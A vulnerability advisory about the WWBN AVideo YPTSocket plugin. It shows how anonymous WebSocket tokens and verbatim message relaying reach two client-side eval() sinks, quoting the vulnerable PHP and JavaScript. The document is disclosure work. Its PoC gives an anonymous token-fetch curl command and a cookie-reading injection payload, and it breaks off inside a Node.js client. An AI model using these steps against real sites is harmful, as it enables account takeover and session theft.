WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks
Summary
The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the msg or callback fields. On the client side, plugin/YPTSocket/script.js contains two eval() sinks fed directly by those relayed fields (json.msg.autoEvalCodeOnHTML at line 568 and json.callback at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.
Details
Token issuance is unauthenticated
plugin/YPTSocket/getWebSocket.json.php:11-21 returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:
```php
if(!AVideoPlugin::isEnabledByName("YPTSocket")){
$obj->msg = "Socket plugin not enabled";
die(json_encode($obj));
}
$obj->error = false;
$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();
```
getEncryptedInfo() in plugin/YPTSocket/functions.php:3-16 populates from_users_id = User::getId() (0 for guests) and isAdmin = User::isAdmin() (false for guests). The issued token is accepted by the WebSocket server's onOpen handler (Message.php:44-52) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.
Server relays attacker JSON verbatim
plugin/YPTSocket/Message.php:191-245 — the default branch of onMessage only rewrites from_identification:
```php
public function onMessage(ConnectionInterface $from, $msg) {
...
$json = _json_decode($msg);
if (empty($json->webSocketToken)) { return false; }
if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }
switch ($json->msg) {
...
default:
$this->msgToArray($json);
if (isset($json['from_identification'])) {
$json['from_identification'] = strip_tags((string)($msgObj->user_name ?? ''));
}
...
} else {
$this->msgToAll($from, $json); // broadcast
}
break;
}
}
```
msgToResourceId() at Message.php:297-310 copies the attacker-controlled callback and msg fields into the outbound payload:
```php
if (isset($msg['callback'])) {
$obj['callback'] = $msg['callback']; // tainted
...
}
...
} else if (!empty($msg['msg'])) {
$obj['msg'] = $msg['msg']; // tainted — entire object forwarded verbatim
}
```
$obj is JSON-encoded at line 335 and sent to every connected client.
Client-side sink #1: autoEvalCodeOnHTML → eval
plugin/YPTSocket/script.js:163-169 (raw WebSocket transport) sets every inbound frame as yptSocketResponse and unconditionally calls parseSocketResponse():
```js
connWS.onmessage = function (e) {
var json = JSON.parse(e.data);
...
yptSocketResponse = json;
parseSocketResponse();
...
};
```
parseSocketResponse() at script.js:545-569 reaches the sink:
```js
async function parseSocketResponse() {
const json = yptSocketResponse;
...
if (json.msg?.autoEvalCodeOnHTML !== undefined) {
eval(json.msg.autoEvalCodeOnHTML); // <-- attacker-controlled
}
...
}
```
Client-side sink #2: json.callback → eval
plugin/YPTSocket/script.js:91-95 — processSocketJson() concatenates attacker-controlled json.callback into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (script.js:182) and the Socket.IO branch (script.js:339 via socket.on("message", (data) => { … processSocketJson(data) })):
```js
if (json.callback) {
var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }";
socketLog('Executing callback:', json.callback);
eval(code);
...
}
```
Because json.callback is interpolated as raw source, a payload like alert(document.cookie);window.x breaks out of the typeof expression and executes during the condition evaluation.
PoC
Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).
Step 1 — obtain a token anonymously (no cookies, no auth):
```bash
curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'
```
Expected output (abbreviated):
```json
{"error":false,"msg":"","webSocketToken":"<long encrypted token>","webSocketURL":"wss://target.example:8888/?webSocketToken=<token>&..."}
```
Step 2 — connect to the WebSocket endpoint using the returned webSocketURL. A minimal Node.js client:
```js
const WebSocket = require('ws');
const TOKEN = '<token from
